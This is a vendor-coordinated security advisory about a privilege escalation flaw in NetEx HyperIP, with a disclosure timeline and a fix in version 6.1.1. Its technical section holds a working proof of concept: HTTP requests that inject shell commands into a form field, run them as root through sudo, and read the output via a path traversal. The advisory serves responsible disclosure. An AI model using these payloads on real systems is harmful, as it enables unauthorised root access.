Affected Systems
Discovered By
Vulnerability Details
Vulnerability Description
Privileges can be escalated by abusing writable paths found within the sudoers configuration file.
Technical Description
The run script is modified with the attack payload.
POST /hypmisc.php HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
set_id=msglvl&set_val=$(echo /usr/bin/id >> /var/ftp/pub/updates/a.run)&perm=on&submit=Set HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 07:21:38 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1048
Connection: close
Content-Type: text/html; charset=UTF-8The attack payload can now be executed.
POST /hypmisc.php HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
set_id=msglvl&set_val=$(sudo /var/ftp/pub/updates/a.run >> /tmp/a.output)&perm=on&submit=Set HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 13:06:55 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1020
Connection: close
Content-Type: text/html; charset=UTF-8The output can now be read from the a.output file, which is a
separate arbitrary file read issue detailed in KL-001-2018-005.
GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 13:07:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By:
PHP/5.1.6 Content-Length: 502 Connection: close Content-Type: text/html; charset=UTF-8
<html>
<head>
<meta http-equiv="Expires" content="0" />
<link rel="stylesheet" href="bdstyles.css" type="text/css" />
</head>
<body class="dsp">
<h1>Show System Log <font size="2">[ Monday @ 08:07:51 ]</font></h1>
<pre>
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
</pre
>
</body>
</html>Mitigation and Remediation Recommendation
The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability.
Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.
Proof of Concept
See 3. Technical Description.
The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
Disclosure Timeline
KoreLogic submits vulnerability details to NetEx.
NetEx confirms receipt.
NetEx informs KoreLogic that this and other reported vulnerabilities have been addressed in the forthcoming release. ETA as of yet undetermined.
30 business days have elapsed since the vulnerability was reported to NetEx.
NetEx informs KoreLogic that the forthcoming release 6.1.1 is expected to ship at the end of January 2018.
45 business days have elapsed since the vulnerability was reported to NetEx.
90 business days have elapsed since the vulnerability was reported to NetEx.
120 business days have elapsed since the vulnerability was reported to NetEx.
NetEx notifies KoreLogic that the HyperIP 6.1.1 release has gone live.
KoreLogic public disclosure.
Responsible Disclosure
KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.